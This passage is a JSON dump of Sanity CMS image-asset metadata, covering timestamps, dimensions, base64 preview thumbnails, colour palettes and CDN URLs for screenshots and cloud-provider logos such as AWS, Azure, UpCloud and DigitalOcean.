329cbd","foreground":"#fff","population":2.59,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"f9da7dc0336f3436e1634ebb39fdb6577eaf6b27-1567x844.png","path":"images/sczeoy4w/production/f9da7dc0336f3436e1634ebb39fdb6577eaf6b27-1567x844.png","sha1hash":"f9da7dc0336f3436e1634ebb39fdb6577eaf6b27","size":587480,"uploadId":"JwGXZDzsdePUJzBWtirIObJbR4Z3U8eK","url":"https://cdn.sanity.io/images/sczeoy4w/production/f9da7dc0336f3436e1634ebb39fdb6577eaf6b27-1567x844.png"} {"_createdAt":"2022-06-15T20:01:55Z","_id":"image-5fcda1e128f6962b6c1391023288412ca9463f2e-1567x844-png","_rev":"ecafYeJdFUSoqAVEkXNfNI","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T00:58:30Z","assetId":"5fcda1e128f6962b6c1391023288412ca9463f2e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8Dw5=o%vy?d0e1EpcRPRiwz00H=t-TGrr","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACqklEQVQokQGfAmD9ABtTlipSlDFEii08hCg/hyNIjhtPlBdQlRZQlRdQlRdQlhdRlhhSlxZQliZbnVd3sGR3rz5ioB5TlxlNkwAfZqY7dK4/cKs3aaYyaqcua6gkZ6cYYaMVX6IWYKMYYaQaYqUdZKYfZaUxa6lee69gdaQ2ZZ0ZXqEZV6AAI3W0QYe+SozBQ4i+QYi+Q4m/PoW9M365Lnu4MX24NX+6OIG7O4O8OYG6SoK7coy7ZoCmN2+hHWWpIFqnAC99vlCRyWefz2OezmCbzWSez2eg0GKdzl6azV6azV+azWCbzV2ZzEyPx1OPy2+WylN/riplnSJdoCxYoQA/g8hVkc9pndRpntRlnNNpndRtoNVqntRnndRlnNRgmtRfmdRblNFRi85WlNNnn9JLg7IpXZUsVZY7XqEAXInSapHWdpfZeJnaepzaeZjXdJfWbZrYaJraY5faX5baYZLYaovTdIXRfZLYiJ7Xc4W1VGCYUV2dVm6wAIt/zpqE1KWH2aWK2KON1JSJz4OL0HaS1m+T2myT2nGS13qGy4x7w552xqt9z7KEz6RxtYddoHVipGt3twCUdMGocsKxbcSuab6jaLSObrRzd71ne8NlfsdkgshqgsVyd7uCcbePcL6Yesqni9KnhMaJc7ZjaqxTcrAAX43NeXm7iGiwjGWnjGaffGilYW2zV2y3W3G5XHa6Ynm5ZHa5bXa9d3bEgI/VlrfnpbXkkKDUXIK+PnGwADuNzE9wuGVhqnFlnXNlmWxfpF5gsVlfs1pir1pmql9qqWRsrWtruHdtxoiO2Je15Zao24aTymV/u0VnqwBFbbNTW6xgVadcVJpXUJNiUZ9mVatjVq1eV6lVVJ1YVZdfWZxlXapzaMB/fMuEjMt2eLpiZalaYqVSXaUdL1WO2p9NwwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#394474","foreground":"#fff","population":2.58,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#045a9e","foreground":"#fff","population":0.47,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#357fc9","foreground":"#fff","population":5.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfbccc","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#87cbf3","foreground":"#000","population":3.79,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5755a8","foreground":"#fff","population":1.74,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#357fc9","foreground":"#fff","population":5.37,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5fcda1e128f6962b6c1391023288412ca9463f2e-1567x844.png","path":"images/sczeoy4w/production/5fcda1e128f6962b6c1391023288412ca9463f2e-1567x844.png","sha1hash":"5fcda1e128f6962b6c1391023288412ca9463f2e","size":411633,"uploadId":"g3XZm3Yo1KtQEyBy4WtFlPyx1h13dYEs","url":"https://cdn.sanity.io/images/sczeoy4w/production/5fcda1e128f6962b6c1391023288412ca9463f2e-1567x844.png"} {"_createdAt":"2022-07-14T14:18:01Z","_id":"image-6f46f1e82bc1d5cf36a45a076bbbc94fa99719db-50x30-svg","_rev":"qSZxM9b8jt7q1sKE6uw3pE","_type":"sanity.imageAsset","_updatedAt":"2022-07-21T11:52:03Z","altText":"Amazon Web Services logo gray","assetId":"6f46f1e82bc1d5cf36a45a076bbbc94fa99719db","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6666666666666667,"height":30,"width":50},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAAB/0lEQVQokUVTW4uOYRR9vxkXahxymqEUQsaEpiaFcshh5HxIkZn1NLPeb30zIcccZuQUE6XkEKUoJUlyIX/BjX+gXPFLtL5ZcrF7ep+993rWXmu/FaiFoEZAvQX1DdQbUC1QV0ARVG/yT0BtBTUA6iqoi6AegfoK6iOo8UL1VMO1ulK0PwCPQd0CNQHqOqg9oCZBfQB1CtQRUPdA3QT1HNRtUEdB9ReqqwI1C9TGXNYpelCoMVB3QZ0BdR/UK1CXQF0GdS3gk6k5HVKzq0JtyHgOg7w2QKEOhsUzUHcC9jDfALUiIKOgpgI+YIZ7w8oNJ8PEjVtAnQP1OZp51Jeg3oEaBLUY1BpQ2yKN+w4ZcH1GMPULOQ20No1TkWNdpphIbiWoEzHQgGdB9RmwK8WDea0f1CpQc0AtyoNLrA/qtuN90X1etD8M6hioTWZtwOWgelLUWTRe1UVVYcu5BtjsAJuN4VoN1Op0FKoxpBHnZ4JaDWpfdG037crFZlDLpoGbHaUec2466v9R8l1G2/m5YeY9tVRffOnxDoA6n2UdArUzo/qBblALQM2PBEvBVm9hy6Ydj4Z2ehzUi2p6pHah/wIL68W2m09jiFfHLjtuZIW8Ba4zK49q8B02rxr+N1qtGRF/d5z8BOoHqF+g/oD6DeonqO+g3sfx7f7dYqzP7r8MIV2Q3Z6MgAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4444","foreground":"#fff","population":0.93,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0c","foreground":"#fff","population":1.93,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040c0c","foreground":"#fff","population":1.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#267272","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bdddd","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c6d6e","foreground":"#fff","population":1.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3fbfbf","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"logo-aws-grey.svg","path":"images/sczeoy4w/production/6f46f1e82bc1d5cf36a45a076bbbc94fa99719db-50x30.svg","sha1hash":"6f46f1e82bc1d5cf36a45a076bbbc94fa99719db","size":2257,"title":null,"uploadId":"tSr3ra12Bpj7vvyIartrjXMyTqtuVYso","url":"https://cdn.sanity.io/images/sczeoy4w/production/6f46f1e82bc1d5cf36a45a076bbbc94fa99719db-50x30.svg"} {"_createdAt":"2022-06-15T20:02:02Z","_id":"image-e9d2d9ee3ab33e924d415d46c693ccfa1b1ae89c-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRrhzti","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:23:32Z","assetId":"e9d2d9ee3ab33e924d415d46c693ccfa1b1ae89c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNPGHj_4^w9#N$Gcs:D,-mt5^*I9D*%NnL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADLklEQVQokSXGXVMbZRiA4f0t/gZ/gOeeOo6tjCedOp3qqEOt1nG0IE5rTUnAklZAwDFB2gUiQ0mqTBsgJGTzsZtAsknIbjab/Up233fzRYoTbJ7HqR7cc92MrJjjp5K+JNWMdVkxn9QUiz2VNFYsK2yl2mClmsnW6k3WbHZYh56xhA7+zx2wNuk9KYrVze2nkeeB4O+R9Y3QPea4UA0ecYIUi6fd/RhHDmIc2T9Ikuj+EYkfZQkviKQoSkTXbUJIjzh2l7TsNnFIh75W1Zo0ly91d8J/WUvLK3uMrFiRoih3hXwJ09kCZngR+VwJs4KI+eMKiiUFxXIDlXoLNd3GcllGQTjGXO4E0xkBk1wWX0QPMRBcG8z+NJdmbHK203J6rtXqomnRkaVp0GwoYBkmWE0XSpILTw9b8McLGXajHIRCW/DrygosLCzAzMzsaHraO/L6ZnDO/6gXXFuPM8R9GSbuyzZxz5HaDrTlJHYLW9ipHqCta7ibcvHmgoVf+gv4aGULvZ4f8OubH+ONT6/j5zfGcWpyApYWFzESedZPcjzHOHSw7dCB69ABOs0WuHIaO/k17PO/oCXGMRAx8NJdE7/4WcLHm9vombyKV955E6++/zbemfgKt9eWQUztoV7J9bTTkwRD6NkGpX1KaQ+pQ4E2TejU0jDIB8E5+RNWd2S4dMeEW/MV2H22CKvet+CTy2/A7c/ehf0NDzQzy3BejeCFlu4OG3yUaTuE7TgO6dhN7LbMUa+lQ18vwbm8B2dSAg5iJfjIp8Ll7wtwf94P/rkPYPyba+Dze0FNPQA4/W4Ekg+xEemgkXnODNTKek8R3bZSxL4m4t9mCYfGCV7oAr7SebREAX/bLOGVexV8bzKJY3ejODabRW8oi2ohjFjzI8hTCPVAD3QuygzLRw/7hViOFg+1vpyq/6ML6sgQVDB4FYyseqFm1JrAq6uhonrrodS47tca3z42GuGE3KC1vA5a2ID6AwPUQAF0bpUZyYmxYTU+cS4l7g/r3I+gZzxoZDyv/e/1jOeVmvKQIufhDzPevajgO04L02055x21yvNoZ5fB2PKDtjOFevrDfwEIpcjLb7I6JQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#39475d","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#947f39","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d3c6b5","foreground":"#000","population":3.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d3c6b5","foreground":"#000","population":3.86,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efc484","foreground":"#000","population":1.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8e6344","foreground":"#fff","population":0.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbdc36","foreground":"#000","population":0.52,"title":"#000"}}},"mimeType":"image/png","originalFilename":"e9d2d9ee3ab33e924d415d46c693ccfa1b1ae89c-1567x844.png","path":"images/sczeoy4w/production/e9d2d9ee3ab33e924d415d46c693ccfa1b1ae89c-1567x844.png","sha1hash":"e9d2d9ee3ab33e924d415d46c693ccfa1b1ae89c","size":582610,"uploadId":"rK7F9YmPoD2VivYmO2yvFxXqkTm2TJIq","url":"https://cdn.sanity.io/images/sczeoy4w/production/e9d2d9ee3ab33e924d415d46c693ccfa1b1ae89c-1567x844.png"} {"_createdAt":"2022-07-21T11:51:00Z","_id":"image-975f38277c6f2ce488404f1382a07fb16abf0d39-119x34-svg","_rev":"6dL6g4nysEm9xfErome5TT","_type":"sanity.imageAsset","_updatedAt":"2022-07-21T11:53:13Z","altText":"Microsoft Azure logo","assetId":"975f38277c6f2ce488404f1382a07fb16abf0d39","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.5,"height":34,"width":119},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABiklEQVQYlTWQT0jTYRjH3xglGREyFh46lCCRZu0QWWFggn/Aw3IMC7cpEWwHc3s/734et3mI2BAvEV0sOmzeloiwtmWDNfHkwpLqVIflMg9mrUOXDpM33h0+fB944MPzfcQfV8eXn56z70tRezG5YnsXWxNv4tljk1bcdxVpuVFyEpgCbgHdQA9wCbgIdJkcBR4A46Lu6qjve87VSlH7VnLFVo2tia149mjAmpvoRUZ8KBkCQkbqAsaAO4DP4AWCgAT8In/fXc0FXZ8yictvX6y2fHj+WpSf5Wz+2KOxThm2+pSSI8AQMAjcBG6Ya4cBvdOpd/3AdeF8vPHt2pPi51hKlj9m27Z3C2J9p3DEuzg/ciYUnr0SUbLXVLsAnDezrqzn08Ap4CRwQiNE+vfB8aXv1ZmXicpezvG1URCVf3nbvacPPV0habmVkrrSbVNX511gAhgA7IDQKKX+I0Tq12ZrulaaySSWf7xyFBsFsfw32zK+EPc6wzKihQHzcE0YmDY/0/L2prApPQRI3dM2+tq8sQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.82,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5b1809","foreground":"#fff","population":1.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fab906","foreground":"#000","population":4.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#960802","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4c44","foreground":"#fff","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#95984e","foreground":"#fff","population":0.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fab906","foreground":"#000","population":4.84,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"logo-microsoft-azure.svg","path":"images/sczeoy4w/production/975f38277c6f2ce488404f1382a07fb16abf0d39-119x34.svg","sha1hash":"975f38277c6f2ce488404f1382a07fb16abf0d39","size":5223,"title":null,"uploadId":"w80D7B3wVowIQ9VaEyiNDbux9azYYNVp","url":"https://cdn.sanity.io/images/sczeoy4w/production/975f38277c6f2ce488404f1382a07fb16abf0d39-119x34.svg"} {"_createdAt":"2022-07-21T12:06:03Z","_id":"image-60126270bbff2e5d643ddad6d740d1d457fb3a7b-77x12-svg","_rev":"6dL6g4nysEm9xfEromkFlP","_type":"sanity.imageAsset","_updatedAt":"2022-07-21T12:08:02Z","altText":"UpCloud logo white","assetId":"60126270bbff2e5d643ddad6d740d1d457fb3a7b","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.416666666666667,"height":12,"width":77},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAgUlEQVQImS3Ou2pCARCEYXvLdAFTBQxETOMNUQ45KKI2tja+/1PMJwtbDMzu/szsJMkGxyQPnDHDNMknltjWHQcMScoPrVWSX3yXx3OCXcM3XDpggZ+G/nFvVeEmSfHF1nxq5opXBX7gqz+tQ6lC5/jrTwoek9R+3UXl9x1ezIjHG54qwMywBCMHAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":1.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b3b3b3","foreground":"#000","population":10.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3b3b3","foreground":"#000","population":10.61,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":1.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"logo-upcloud-white.svg","path":"images/sczeoy4w/production/60126270bbff2e5d643ddad6d740d1d457fb3a7b-77x12.svg","sha1hash":"60126270bbff2e5d643ddad6d740d1d457fb3a7b","size":2100,"title":null,"uploadId":"dHnMAikuaSXHA4VQPHJ6O4T6InFGBbVM","url":"https://cdn.sanity.io/images/sczeoy4w/production/60126270bbff2e5d643ddad6d740d1d457fb3a7b-77x12.svg"} {"_createdAt":"2022-06-30T19:58:43Z","_id":"image-a2db482fa962cf48f522748bc771453501a93b3e-1442x896-png","_rev":"CK1sLU2mnwa3vmbYWEc3wl","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:31Z","assetId":"a2db482fa962cf48f522748bc771453501a93b3e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VM9@kwof%Nj[%Mxvj@f6j[fQ_NfQaej[aexujtayfQay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.609375,"height":896,"width":1442},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACKUlEQVQokZXSTU8TQRgH8P0Q0G13d3bett0iomAphb6xRTEQEhJjOHAhKRgFaShUipASRVGTNtYoJEaiHjTRo3699jDPY3YLBakHPPzyzMzu/DPz7Gqff/5Wbz9+VYfNY3XQOFLP6x/+y0H9KNhXP/6iTn78UtqL+ntYKi7DzPwcFGZmYXJ6Bryu2QvjjuD5nQumO+/dX1yC/ddN0DaqNfCmCuBeiyKPCqSCB5gUyKQM6tka5ayLMdoZC4425zg6nsFH5R3UVjd3IOsVIDbgApMcCLOBcgpMMOCSAxO8OyeMgGlbYPmI2amUgGXbMJJMwfLjTdAebmxDZrIAA4ODKBwHGGPoSIlCCBScoz+nNkXOGJqEoB6JYOiU3mXgjVtJLK6VUXtQqkAqnYO4G0c3GgPXifkVKWVILIKWRdAwTDRNC8OGif16GPtCeo+h4cRp4HoFEslxkJRjlAvww6TjYMS0MKSHA/1XMDRyFljyA1PAbYqCMhBcIGU8uMZVgvp7AtcrMJqaACkdkFICowxsYoNhmBCOGH/RwxEI6WHoC+k9rg8noLha7nyUsXQOY/EBjLlx5Iwjo/5vwdEiNhomQcPvo0WCNvh99E9/2c3EGK6sb6FWffZGzS8sqvzUXZXzbqt01lPpnKfS+YJKZfIqmc6dm/BlL8mpsUxezd1bUE/2Xynt3cn31t5ho1Wq1tprW7uXPG2v/oO/fm63XdqutfdeNtrNT99afwBaypYWksI3mgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#44444c","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#704c0e","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#44444c","foreground":"#fff","population":0.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4c4c4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4d464","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4faf6c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df9240","foreground":"#000","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"a2db482fa962cf48f522748bc771453501a93b3e-1442x896.png","path":"images/sczeoy4w/production/a2db482fa962cf48f522748bc771453501a93b3e-1442x896.png","sha1hash":"a2db482fa962cf48f522748bc771453501a93b3e","size":71458,"uploadId":"gN3pFH0ovd0SL0Pw0kAJvX30QPSRzBD8","url":"https://cdn.sanity.io/images/sczeoy4w/production/a2db482fa962cf48f522748bc771453501a93b3e-1442x896.png"} {"_createdAt":"2022-07-21T12:06:03Z","_id":"image-764b908b5841188ee220ce4f7ff4070c0c26734c-163x25-svg","_rev":"qcIblBlYNB041RLlsLQMwB","_type":"sanity.imageAsset","_updatedAt":"2022-07-21T12:07:52Z","altText":"UpCloud logo","assetId":"764b908b5841188ee220ce4f7ff4070c0c26734c","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.52,"height":25,"width":163},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAuElEQVQImS3Ou2pCURCF4X/wglbpYxchiBqieI0eL6gnGtTCEUmnKJK9xReylCHga8qGU02z5lsLp1Z3akOntnNqi+vu8TpunPP53EtBRD6ANtADOsAQmAAxEAGfwDvwBjSBPV6t69VGXm3p1L4v2//2cX2rVIuzcjqVbQVARJbADzADusAYmAPTpCDckDkFsODVSl4t8mqx31r8t7lHg9qhmknnAhiLyCp56ifgV7I6rAx4KFoAv0/BwyeH2M922gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343454","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#070437","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#070437","foreground":"#fff","population":0.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#392c6c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#aca1d8","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6555a6","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#403278","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"logo-upcloud.svg","path":"images/sczeoy4w/production/764b908b5841188ee220ce4f7ff4070c0c26734c-163x25.svg","sha1hash":"764b908b5841188ee220ce4f7ff4070c0c26734c","size":2467,"title":null,"uploadId":"IIi42hxq7EVg6XptnUZQ0PO9CKZ2SvK2","url":"https://cdn.sanity.io/images/sczeoy4w/production/764b908b5841188ee220ce4f7ff4070c0c26734c-163x25.svg"} {"_createdAt":"2022-07-21T12:07:19Z","_id":"image-01e3f92e7a28002b3212de51912dc1efe632ee1d-172x29-svg","_rev":"6dL6g4nysEm9xfEromkKaD","_type":"sanity.imageAsset","_updatedAt":"2022-07-21T12:08:37Z","altText":"Digital Ocean logo","assetId":"01e3f92e7a28002b3212de51912dc1efe632ee1d","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.931034482758621,"height":29,"width":172},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAl0lEQVQImS2OvWpCYRAF5yWM2gUCgulSSSJYppCAGPEn4YqgEIdACsHWPPp35HK/btg9O3vA/GNumAtmhnnG8oZ5wTxinjDjyiPMBPPaceljepgHzAAzBHPEfGFOmDlmillhaep8j2Vf+YD57vZZYD4wn5gNlh1mDZY2+FsbvtcGbbg9vmK51qc/GDFbzLJKW/kZ81cdzR1vN2Y4XbPLEwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1e1c36","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#052480","foreground":"#fff","population":1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0865f8","foreground":"#fff","population":7.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#043c94","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7eaefb","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#323b6a","foreground":"#fff","population":0.28,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0865f8","foreground":"#fff","population":7.98,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"logo-digital-ocean.svg","path":"images/sczeoy4w/production/01e3f92e7a28002b3212de51912dc1efe632ee1d-172x29.svg","sha1hash":"01e3f92e7a28002b3212de51912dc1efe632ee1d","size":5162,"title":null,"uploadId":"GkmMXPmlLMko61KuHiPOGfxq6f18myum","url":"https://cdn.sanity.io/images/sczeoy4w/production/01e3f92e7a28002b3212de51912dc1efe632ee1d-172x29.svg"} {"_createdAt":"2022-06-15T20:02:41Z","_id":"image-37380a33848453a75403a05e3f48b5dfcd5a1e18-1567x844-png","_rev":"qkpX9b3U0TpOGFQp9ZQ9bj","_type":"sanity.imageAsset","_updatedAt":"2022-07-04T13:52:30Z","assetId":"37380a33848453a75403a05e3f48b5dfcd5a1e18","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MTQlIEPD.SY6mlPqWCQ-n$tk?aVEEzrYWY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADHUlEQVQokS3G/28adRzH8fuD1PgHNPvZHzQxW4ypJppo16xm+8WfnB1xzbRb57poMmcaOyiUWr6VYjXbKGVth7DS4/hSSuGAg+OgQO/zOY4WWNpU3i9j5w+PPJ+CVmdfl5SGLS+rK4VizatUm75ypekrlhu+kvKGUm35DlumT+f9/w0uyljHx/W2l+v6CuddO+fHFiEvq0+iMakY3ox2In/vMimZ44nkPt8V93jiv5f2eTqd55Vqkx+xHmfGgDPW5UazyM1KmJvFFWYqzzvm4UHZPGovCXJJ80RjCWNzK4bdRBZ5WcWBrCGbUyBn9lCJrENd96MVfQFWKkM/6oK1D9EpB8GzdrQzC2CZeRzLnk6/IfmFRrPjKikNXS5pUDV9qDZMSsuMxJ0sVQNP6OSXcXp9b5TMxzepGVqjmlwirVKg2n6Iiukg5ZLbw/IrJzqxe/ws5QgIOu+7dd5nOu+jzXq0Vzbx7GURT50uxKcn0Lz1Htp3Pkb+1ylIa17sRCKI78SQiEcgxjYhrq9R3vMjOvPXuv/89M2WwIyBmxkDxo0B2nqfpAJHYD0D97wD/od3EZm7i23HI/zlcuLPwCpW/X4EAqvYDq0h+8KKqttCbHoUp9fe79OHn6QEZvTdzOgzZvTA2MlQqTEKRfbJ6viDrHM28lp/I/fCPC06HLToXCKrzUbLTjuJG14yJDudPf+BhtMToLEvTvDZjV2Bs2M3Z13d0A2YOht22i2S0xJt2B9T8PuvKGL5nMK3r9PKzBQtPLhPC7MPKPi7lepSkM6rLwm54BDPXMCy3aSAa0Mw65qHqxWuq2WYDYUGrRJ6+S2w5W/Bb46gO/429C9HULh6BfHr4xCnb6Me9OBUiYEaEkhLgCpxkPKqS2o8JPSKmUc8JyVbB1KlU8kUTusp+VwJy8PwrEwzHxQx9pZGH72jn10eafevjtYGc7PV81Soirp4gepiBY1EjQ4Te9RILAqvq9lPT8opS1dJ3hmoqVvnmjhJWnSSDp5OknPyO5q49DNdfncJVy7ZYLnxEJu+Gag7M1QXL+BN71NdnEJdHPsXvqnHAQCDT0EAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363a4e","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#144eb0","foreground":"#fff","population":1.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f85923","foreground":"#fff","population":7.91,"title":"#ff